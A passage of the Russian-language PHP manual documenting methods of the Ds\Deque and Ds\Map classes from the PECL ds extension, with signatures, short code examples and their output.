Результатом выполнения данного примера будет что-то подобное:

object(Ds\Deque)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Deque)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает последнее значение

  • « Ds\Deque::merge
  • Ds\Deque::push »
  • PHP Manual
  • Ds\Deque
  • Удаляет и возвращает последнее значение

Ds\Deque::pop

(PECL ds >= 1.0.0)

Ds\Deque::pop — Удаляет и возвращает последнее значение

Описание

public Ds\Deque::pop(): mixed

Удаляет и возвращает последнее значение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последнее удалённое значение.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Deque::pop()

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->pop());
var_dump($deque->pop());
var_dump($deque->pop());
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения в конец двухсторонней очереди

  • « Ds\Deque::pop
  • Ds\Deque::reduce »
  • PHP Manual
  • Ds\Deque
  • Добавляет значения в конец двухсторонней очереди

Ds\Deque::push

(PECL ds >= 1.0.0)

Ds\Deque::push — Добавляет значения в конец двухсторонней очереди

Описание

public Ds\Deque::push(mixed ...$values): void

Добавляет значения в конец двухсторонней очереди.

Список параметров

values

Добавляемые значения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Deque::push()

<?php
$deque = new \Ds\Deque();

$deque->push("a");
$deque->push("b");
$deque->push("c", "d");
$deque->push(...["e", "f"]);

print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает коллекцию до одного значения, используя callback-функцию

  • « Ds\Deque::push
  • Ds\Deque::remove »
  • PHP Manual
  • Ds\Deque
  • Уменьшает коллекцию до одного значения, используя callback-функцию

Ds\Deque::reduce

(PECL ds >= 1.0.0)

Ds\Deque::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию

Описание

public Ds\Deque::reduce(callable $callback, mixed $initial = ?): mixed

Уменьшает коллекцию до одного значения, используя callback-функцию.

Список параметров

callback
callback(mixed $carry, mixed $value): mixed
carry

Значение, возвращённое предыдущим запуском функции или initial, если функция запущена в первый раз.

value

Значение текущей итерации.

initial

Начальное значение параметра carry. Можно указать null.

Возвращаемые значения

Значение, возвращённое окончательным запуском callback-функции.

Примеры

Пример #1 Пример использования Ds\Deque::reduce() с начальным значением

<?php
$deque = new \Ds\Deque([1, 2, 3]);

$callback = function($carry, $value) {
return $carry * $value;
};

var_dump($deque->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

Результатом выполнения данного примера будет что-то подобное:

int(30)

Пример #2 Пример использования Ds\Deque::reduce() без начального значения

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->reduce(function($carry, $value) {
return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

Результатом выполнения данного примера будет что-то подобное:

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает значение по индексу

  • « Ds\Deque::reduce
  • Ds\Deque::reverse »
  • PHP Manual
  • Ds\Deque
  • Удаляет и возвращает значение по индексу

Ds\Deque::remove

(PECL ds >= 1.0.0)

Ds\Deque::remove — Удаляет и возвращает значение по индексу

Описание

public Ds\Deque::remove(int $index): mixed

Удаляет и возвращает значение по индексу.

Список параметров

index

Индекс, по которому необходимо удалить значение.

Возвращаемые значения

Удалённое значение.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Deque::remove()

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->remove(1));
var_dump($deque->remove(0));
var_dump($deque->remove(0));
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Переворачивает текущую двухстороннюю очередь

  • « Ds\Deque::remove
  • Ds\Deque::reversed »
  • PHP Manual
  • Ds\Deque
  • Переворачивает текущую двухстороннюю очередь

Ds\Deque::reverse

(PECL ds >= 1.0.0)

Ds\Deque::reverse — Переворачивает текущую двухстороннюю очередь

Описание

public Ds\Deque::reverse(): void

Переворачивает текущую двухстороннюю очередь.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Deque::reverse()

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);
$deque->reverse();

print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает перевёрнутую копию двухсторонней очереди

  • « Ds\Deque::reverse
  • Ds\Deque::rotate »
  • PHP Manual
  • Ds\Deque
  • Возвращает перевёрнутую копию двухсторонней очереди

Ds\Deque::reversed

(PECL ds >= 1.0.0)

Ds\Deque::reversed — Возвращает перевёрнутую копию двухсторонней очереди

Описание

public Ds\Deque::reversed(): Ds\Deque

Возвращает перевёрнутую копию двухсторонней очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Перевёрнутая копия двухсторонней очереди.

Замечание:

Текущая двухсторонняя очередь не изменится.

Примеры

Пример #1 Пример использования Ds\Deque::reversed()

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

print_r($deque->reversed());
print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Deque Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Перематывает двухстороннюю очередь на заданное число значений

  • « Ds\Deque::reversed
  • Ds\Deque::set »
  • PHP Manual
  • Ds\Deque
  • Перематывает двухстороннюю очередь на заданное число значений

Ds\Deque::rotate

(PECL ds >= 1.0.0)

Ds\Deque::rotate — Перематывает двухстороннюю очередь на заданное число значений

Описание

public Ds\Deque::rotate(int $rotations): void

Перематывает двухстороннюю очередь на заданное число значений. Данная операция аналогична выполнению заданное количество раз кода $deque->push($deque->shift()), если число оборотов положительно и $deque->unshift($deque->pop()), если отрицательно.

Список параметров

rotations

Количество значений, которые надо "перемотать".

Возвращаемые значения

Функция не возвращает значения после выполнения.. Будет изменена текущая двухсторонняя очередь.

Примеры

Пример #1 Пример использования Ds\Deque::rotate()

<?php
$deque = new \Ds\Deque(["a", "b", "c", "d"]);

$deque->rotate(1); // Аналогично $a = $sequence->deque(); $deque->push($a);
print_r($deque);

$deque->rotate(2);
print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Deque Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Заменяет значение по указанному индексу

  • « Ds\Deque::rotate
  • Ds\Deque::shift »
  • PHP Manual
  • Ds\Deque
  • Заменяет значение по указанному индексу

Ds\Deque::set

(PECL ds >= 1.0.0)

Ds\Deque::set — Заменяет значение по указанному индексу

Описание

public Ds\Deque::set(int $index, mixed $value): void

Заменяет значение по указанному индексу.

Список параметров

index

Индекс, по которому надо заменить значение.

value

Новое значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Deque::set()

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

$deque->set(1, "_");
print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => a
    [1] => _
    [2] => c
)

Пример #2 Пример использования Ds\Deque::set() с синтаксисом массива

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

$deque[1] = "_";
print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает первое значение

  • « Ds\Deque::set
  • Ds\Deque::slice »
  • PHP Manual
  • Ds\Deque
  • Удаляет и возвращает первое значение

Ds\Deque::shift

(PECL ds >= 1.0.0)

Ds\Deque::shift — Удаляет и возвращает первое значение

Описание

public Ds\Deque::shift(): mixed

Удаляет и возвращает первое значение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первое удалённое значение.

Ошибки

Выбрасывает исключение UnderflowException, если двухсторонняя очередь пуста.

Примеры

Пример #1 Пример использования Ds\Deque::shift()

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->shift());
var_dump($deque->shift());
var_dump($deque->shift());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает подочередь из заданного диапазона

  • « Ds\Deque::shift
  • Ds\Deque::sort »
  • PHP Manual
  • Ds\Deque
  • Возвращает подочередь из заданного диапазона

Ds\Deque::slice

(PECL ds >= 1.0.0)

Ds\Deque::slice — Возвращает подочередь из заданного диапазона

Описание

public Ds\Deque::slice(int $index, int $length = ?): Ds\Deque

Возвращает подочередь из диапазона заданного начальным индексом index и длиной length.

Список параметров

index

Индекс, задающий начало диапазона.

Если положительный, то будет отсчитываться от начала коллекции. Если отрицательный, то от конца.

length

Положительное значение определяет, сколько элементов будет взято. Если количество элементов двухсторонней очереди меньше заданного значения, вернётся столько элементов, сколько есть. Отрицательное значение задаст индекс, отсчитанный от конца двухсторонней очереди, определяющий конец диапазона. Если длина не задана, то будут возвращены все элементы двухсторонней очереди от заданного индекса до конца коллекции.

Возвращаемые значения

Подочередь из заданного диапазона.

Примеры

Пример #1 Пример использования Ds\Deque::slice()

<?php
$deque = new \Ds\Deque(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($deque->slice(2));

// Slice from 1, for a length of 3
print_r($deque->slice(1, 3));

// Slice from 1 onwards
print_r($deque->slice(1));

// Slice from 2 from the end onwards
print_r($deque->slice(-2));

// Slice from 1 to 1 from the end
print_r($deque->slice(1, -1));
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Deque Object
(
    [0] => d
    [1] => e
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Сортирует двухстороннюю очередь

  • « Ds\Deque::slice
  • Ds\Deque::sorted »
  • PHP Manual
  • Ds\Deque
  • Сортирует двухстороннюю очередь

Ds\Deque::sort

(PECL ds >= 1.0.0)

Ds\Deque::sort — Сортирует двухстороннюю очередь

Описание

public Ds\Deque::sort(callable $comparator = ?): void

Сортирует двухстороннюю очередь, опционально используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Deque::sort()

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);
$deque->sort();

print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Пример #2 Пример использования Ds\Deque::sort() с callback-функцией сравнения

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

$deque->sort(function($a, $b) {
return $b <=> $a;
});

print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает отсортированную по значению копию двухсторонней очереди

  • « Ds\Deque::sort
  • Ds\Deque::sum »
  • PHP Manual
  • Ds\Deque
  • Возвращает отсортированную по значению копию двухсторонней очереди

Ds\Deque::sorted

(PECL ds >= 1.0.0)

Ds\Deque::sorted — Возвращает отсортированную по значению копию двухсторонней очереди

Описание

public Ds\Deque::sorted(callable $comparator = ?): Ds\Deque

Возвращает отсортированную копию двухсторонней очереди, опционально используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает отсортированную по значению копию двухсторонней очереди.

Примеры

Пример #1 Пример использования Ds\Deque::sorted()

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

print_r($deque->sorted());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Пример #2 Пример использования Ds\Deque::sorted() с callback-функцией сравнения

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

$sorted = $deque->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сумму всех значений двухсторонней очереди

  • « Ds\Deque::sorted
  • Ds\Deque::toArray »
  • PHP Manual
  • Ds\Deque
  • Возвращает сумму всех значений двухсторонней очереди

Ds\Deque::sum

(PECL ds >= 1.0.0)

Ds\Deque::sum — Возвращает сумму всех значений двухсторонней очереди

Описание

public Ds\Deque::sum(): int|float

Возвращает сумму всех значений двухсторонней очереди.

Замечание:

Массивы и объекты считаются за ноль.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сумма всех значений двухсторонней очереди типов float или int, в зависимости от значений двухсторонней очереди.

Примеры

Пример #1 Пример использования Ds\Deque::sum() с целочисленными значениями

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

int(6)

Пример #2 Пример использования Ds\Deque::sum() со значениями типа float

<?php
$deque = new \Ds\Deque([1, 2.5, 3]);
var_dump($deque->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Преобразует двухстороннюю очередь в массив (array)

  • « Ds\Deque::sum
  • Ds\Deque::unshift »
  • PHP Manual
  • Ds\Deque
  • Преобразует двухстороннюю очередь в массив (array)

Ds\Deque::toArray

(PECL ds >= 1.0.0)

Ds\Deque::toArray — Преобразует двухстороннюю очередь в массив (array)

Описание

public Ds\Deque::toArray(): array

Преобразует двухстороннюю очередь в массив (array).

Замечание:

Приведение к типу array пока не поддерживается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), содержащий все элементы двухсторонней очереди с сохранением их порядка.

Примеры

Пример #1 Пример использования Ds\Deque::toArray()

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения в начало двухсторонней очереди

  • « Ds\Deque::toArray
  • Ds\Map »
  • PHP Manual
  • Ds\Deque
  • Добавляет значения в начало двухсторонней очереди

Ds\Deque::unshift

(PECL ds >= 1.0.0)

Ds\Deque::unshift — Добавляет значения в начало двухсторонней очереди

Описание

public Ds\Deque::unshift(mixed $values = ?): void

Добавляет значения в начало двухсторонней очереди, сдвигая все элементы вперёд, чтобы освободить место для новых.

Список параметров

values

Добавляемые значения.

Замечание:

Множество значений добавляются в том порядке, как они были переданы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Deque::unshift()

<?php
$deque = new \Ds\Deque([1, 2, 3]);

$deque->unshift("a");
$deque->unshift("b", "c");

print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

hugo at fc dot up dot pt 10-Jul-2020 12:46
Where the documentation says "moving all the current values forward", while it sounds like the complexity would be O(N), I checked the code at https://github.com/php-ds/ext-ds/blob/master/src/ds/ds_deque.c#L366 and it is in fact O(1) for each element


Класс Map

(PECL ds >= 1.0.0)

Введение

Коллекция пар - это последовательная коллекция, содержащая пары ключ-значение, практически идентичная массиву и используется для тех же целей. Ключи могут быть любого типа, но должны быть уникальными. Если добавить пару с уже существующим ключом, то она будет заменена.

Сильные стороны

  • Ключи и значения могут быть любого типа, включая объекты.
  • Поддерживает синтаксис массива (квадратные скобки).
  • Сохраняется порядок вставки.
  • Скорость и потребление памяти сравнимо с использованием массива.
  • Автоматически освобождает память, когда количество элементов уменьшается.

Слабые стороны

  • Не может быть сконвертирована в массив, если в качестве ключей используются объекты.

Обзор классов

class Ds\Map implements Ds\Collection, ArrayAccess {
/* Константы */
const int MIN_CAPACITY = 16;
/* Методы */
public allocate(int $capacity): void
public apply(callable $callback): void
public capacity(): int
public clear(): void
public copy(): Ds\Map
public diff(Ds\Map $map): Ds\Map
public filter(callable $callback = ?): Ds\Map
public first(): Ds\Pair
public get(mixed $key, mixed $default = ?): mixed
public hasKey(mixed $key): bool
public hasValue(mixed $value): bool
public intersect(Ds\Map $map): Ds\Map
public isEmpty(): bool
public keys(): Ds\Set
public ksort(callable $comparator = ?): void
public ksorted(callable $comparator = ?): Ds\Map
public last(): Ds\Pair
public map(callable $callback): Ds\Map
public merge(mixed $values): Ds\Map
public pairs(): Ds\Sequence
public put(mixed $key, mixed $value): void
public putAll(mixed $pairs): void
public reduce(callable $callback, mixed $initial = ?): mixed
public remove(mixed $key, mixed $default = ?): mixed
public reverse(): void
public reversed(): Ds\Map
public skip(int $position): Ds\Pair
public slice(int $index, int $length = ?): Ds\Map
public sort(callable $comparator = ?): void
public sorted(callable $comparator = ?): Ds\Map
public sum(): int|float
public toArray(): array
public union(Ds\Map $map): Ds\Map
public values(): Ds\Sequence
public xor(Ds\Map $map): Ds\Map
}

Предопределённые константы

Ds\Map::MIN_CAPACITY

Список изменений

Версия | Описание
PECL ds 1.3.0 | Теперь класс реализует ArrayAccess.

Содержание

  • Ds\Map::allocate — Выделяет необходимое количество памяти под требуемую вместимость
  • Ds\Map::apply — Обновление всех значений применением к ним переданной callback-функции
  • Ds\Map::capacity — Возвращает текущую вместимость
  • Ds\Map::clear — Удаляет все значения из коллекции
  • Ds\Map::__construct — Создаёт новый экземпляр
  • Ds\Map::copy — Возвращает поверхностную копию коллекции
  • Ds\Map::count — Возвращает количество элементов коллекции
  • Ds\Map::diff — Создаёт новую коллекцию пар с элементами, ключей которых нет в другой коллекции пар
  • Ds\Map::filter — Создаёт новую коллекцию пар из элементов, выбранных с помощью заданной callback-функции
  • Ds\Map::first — Возвращает первый элемент коллекции
  • Ds\Map::get — Возвращает значение по ключу
  • Ds\Map::hasKey — Проверяет, содержит ли коллекция заданный ключ
  • Ds\Map::hasValue — Проверяет, содержит ли коллекция заданное значение
  • Ds\Map::intersect — Создаёт новую коллекцию пар, созданную пересечением с другой коллекцией пар
  • Ds\Map::isEmpty — Проверяет, пуста ли коллекция
  • Ds\Map::jsonSerialize — Возвращает коллекцию в JSON-представлении
  • Ds\Map::keys — Возвращает набор ключей коллекции
  • Ds\Map::ksort — Сортирует текущую коллекцию по ключам
  • Ds\Map::ksorted — Возвращает копию коллекции, отсортированной по ключам
  • Ds\Map::last — Возвращает последнюю пару коллекции
  • Ds\Map::map — Возвращает результат применения callback-функции ко всем значениям коллекции
  • Ds\Map::merge — Возвращает результат добавления всех заданных элементов в коллекцию
  • Ds\Map::pairs — Возвращает последовательность, содержащую все пары коллекции
  • Ds\Map::put — Установка значения по заданному ключу
  • Ds\Map::putAll — Связывает с коллекцией все пары ключ-значение из объекта класса traversable или массива
  • Ds\Map::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию
  • Ds\Map::remove — Удаляет и возвращает значение по ключу
  • Ds\Map::reverse — Переворачивает текущую коллекцию
  • Ds\Map::reversed — Возвращает перевёрнутую копию коллекции
  • Ds\Map::skip — Возвращает пару по индексу позиции
  • Ds\Map::slice — Возвращает подмножество коллекции из заданного диапазона
  • Ds\Map::sort — Сортирует коллекцию по значениям
  • Ds\Map::sorted — Возвращает отсортированную по значению копию коллекции
  • Ds\Map::sum — Возвращает сумму всех значений коллекции
  • Ds\Map::toArray — Преобразует коллекцию в array
  • Ds\Map::union — Создаёт новую коллекцию пар из элементов двух коллекций
  • Ds\Map::values — Возвращает последовательность значений коллекции
  • Ds\Map::xor — Создаёт новую коллекцию пар из элементов, которые есть в одной из коллекций, но не в обеих одновременно

User Contributed Notes

There are no user contributed notes for this page.


Выделяет необходимое количество памяти под требуемую вместимость

  • « Ds\Map
  • Ds\Map::apply »
  • PHP Manual
  • Ds\Map
  • Выделяет необходимое количество памяти под требуемую вместимость

Ds\Map::allocate

(PECL ds >= 1.0.0)

Ds\Map::allocate — Выделяет необходимое количество памяти под требуемую вместимость

Описание

public Ds\Map::allocate(int $capacity): void

Выделяет необходимое количество памяти под требуемую вместимость.

Список параметров

capacity

Вместимость (количество значений), под хранение которых запрашивается память.

Замечание:

Значение остаётся неизменным, если текущее значение больше или равно заданному.

Замечание:

Вместимость всегда округляется вверх до ближайшей степени двойки. (т.е. 16, 32, 64, 128 и т.д)

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Map::allocate()

<?php
$map = new \Ds\Map();
var_dump($map->capacity());

$map->allocate(100);
var_dump($map->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(16)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Обновление всех значений применением к ним переданной callback-функции

  • « Ds\Map::allocate
  • Ds\Map::capacity »
  • PHP Manual
  • Ds\Map
  • Обновление всех значений применением к ним переданной callback-функции

Ds\Map::apply

(PECL ds >= 1.0.0)

Ds\Map::apply — Обновление всех значений применением к ним переданной callback-функции

Описание

public Ds\Map::apply(callable $callback): void

Обновление всех значений применением к ним переданной callback-функции.

Список параметров

callback

callback(mixed $key, mixed $value): mixed

Объект типа callable.

Callback-функция должна возвращать новое значение, которое заменит текущее.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Map::apply()

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$map->apply(function($key, $value) { return $value * 2; });

print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 4
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 6
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую вместимость

  • « Ds\Map::apply
  • Ds\Map::clear »
  • PHP Manual
  • Ds\Map
  • Возвращает текущую вместимость

Ds\Map::capacity

(PECL ds >= 1.0.0)

Ds\Map::capacity — Возвращает текущую вместимость

Описание

public Ds\Map::capacity(): int

Возвращает текущую вместимость.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая вместимость.

Примеры

Пример #1 Пример использования Ds\Map::capacity()

<?php
$map = new \Ds\Map();
var_dump($map->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(16)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все значения из коллекции

  • « Ds\Map::capacity
  • Ds\Map::__construct »
  • PHP Manual
  • Ds\Map
  • Удаляет все значения из коллекции

Ds\Map::clear

(PECL ds >= 1.0.0)

Ds\Map::clear — Удаляет все значения из коллекции

Описание

public Ds\Map::clear(): void

Удаляет все значения из коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Map::clear()

<?php
$map = new \Ds\Map([
"a" => 1,
"b" => 2,
"c" => 3,
]);
print_r($map);

$map->clear();
print_r($map);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)
Ds\Map Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр

  • « Ds\Map::clear
  • Ds\Map::copy »
  • PHP Manual
  • Ds\Map
  • Создаёт новый экземпляр

Ds\Map::__construct

(PECL ds >= 1.0.0)

Ds\Map::__construct — Создаёт новый экземпляр

Описание

public Ds\Map::__construct(mixed ...$values)

Создаёт новый экземпляр, используя либо объект, реализующий traversable, либо массив, переданный в качестве параметра values.

Список параметров

values

Объект, реализующий интерфейс traversable или массив.

Примеры

Пример #1 Пример использования Ds\Map::__construct()

<?php
$map = new \Ds\Map();
var_dump($map);

$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Map)#1 (0) {
}
object(Ds\Map)#2 (3) {
  [0]=>
  object(Ds\Pair)#1 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
  [1]=>
  object(Ds\Pair)#3 (2) {
    ["key"]=>
    string(1) "b"
    ["value"]=>
    int(2)
  }
  [2]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "c"
    ["value"]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поверхностную копию коллекции

  • « Ds\Map::__construct
  • Ds\Map::count »
  • PHP Manual
  • Ds\Map
  • Возвращает поверхностную копию коллекции

Ds\Map::copy

(PECL ds >= 1.0.0)

Ds\Map::copy — Возвращает поверхностную копию коллекции

Описание

public Ds\Map::copy(): Ds\Map

Возвращает поверхностную копию коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Поверхностная копия коллекции.

Примеры

Пример #1 Пример использования Ds\Map::copy()

<?php
$map = new \Ds\Map([
"a" => 1,
"b" => 2,
"c" => 3,
]);

print_r($map->copy());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов коллекции

  • « Ds\Map::copy
  • Ds\Map::diff »
  • PHP Manual
  • Ds\Map
  • Возвращает количество элементов коллекции

Ds\Map::count

(PECL ds >= 1.0.0)

Ds\Map::count — Возвращает количество элементов коллекции

Смотрите описание функции Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую коллекцию пар с элементами, ключей которых нет в другой коллекции пар

  • « Ds\Map::count
  • Ds\Map::filter »
  • PHP Manual
  • Ds\Map
  • Создаёт новую коллекцию пар с элементами, ключей которых нет в другой коллекции пар

Ds\Map::diff

(PECL ds >= 1.0.0)

Ds\Map::diff — Создаёт новую коллекцию пар с элементами, ключей которых нет в другой коллекции пар

Описание

public Ds\Map::diff(Ds\Map $map): Ds\Map

Возвращает новую коллекцию пар, не содержащую элементов с ключами, которые присутствуют в коллекции пар, переданной в map.

A \ B = {x ? A | x ? B}

Список параметров

map

Коллекция пар, содержащая элементы с ключами, которых не должно быть в новой коллекции пар.

Возвращаемые значения

Результат удаления всех элементов, ключи которых присутствуют в коллекции пар, переданной в map.

Смотрите также

  • » Разность массивов на Wikipedia

Примеры

Пример #1 Пример использования Ds\Map::diff()

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

var_dump($a->diff($b));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Map)#3 (1) {
  [0]=>
  object(Ds\Pair)#4 (2) {
    ["key"]=>
    string(1) "a"
    ["value"]=>
    int(1)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую коллекцию пар из элементов, выбранных с помощью заданной callback-функции

  • « Ds\Map::diff
  • Ds\Map::first »
  • PHP Manual
  • Ds\Map
  • Создаёт новую коллекцию пар из элементов, выбранных с помощью заданной callback-функции

Ds\Map::filter

(PECL ds >= 1.0.0)

Ds\Map::filter — Создаёт новую коллекцию пар из элементов, выбранных с помощью заданной callback-функции

Описание

